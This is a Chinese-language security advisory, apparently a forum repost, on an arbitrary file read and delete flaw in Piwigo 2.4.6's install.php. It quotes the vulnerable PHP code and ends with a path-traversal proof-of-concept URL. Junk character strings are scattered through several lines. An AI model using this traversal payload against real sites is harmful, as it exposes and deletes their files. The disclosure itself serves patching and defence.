Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
$ G+ U1 Z: Q5 g, w& l( h5 K& k3 {-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
1 r9 e* Q$ V! C% e7 f- f# w114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
' P1 [( p, r% I+ f118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
) D, ~' u" q4 K) D4 A121:   echo file_get_contents($filename);
6 a* n2 E& e3 [+ c' u$ X122:   unlink($filename);
3 N& a5 Y$ A) \123:   exit();
124: }
9 [) w+ v: x$ Q# k" V7 i====================================================================

+ Y5 h- O. o( N4 A+ y) QTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

7 _2 \/ m  d9 ^, I# f0 M" |9 mVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

/ z3 i2 u9 d: M: @. CAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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15.02.2013
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  p: T1 X& d) R- Shttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt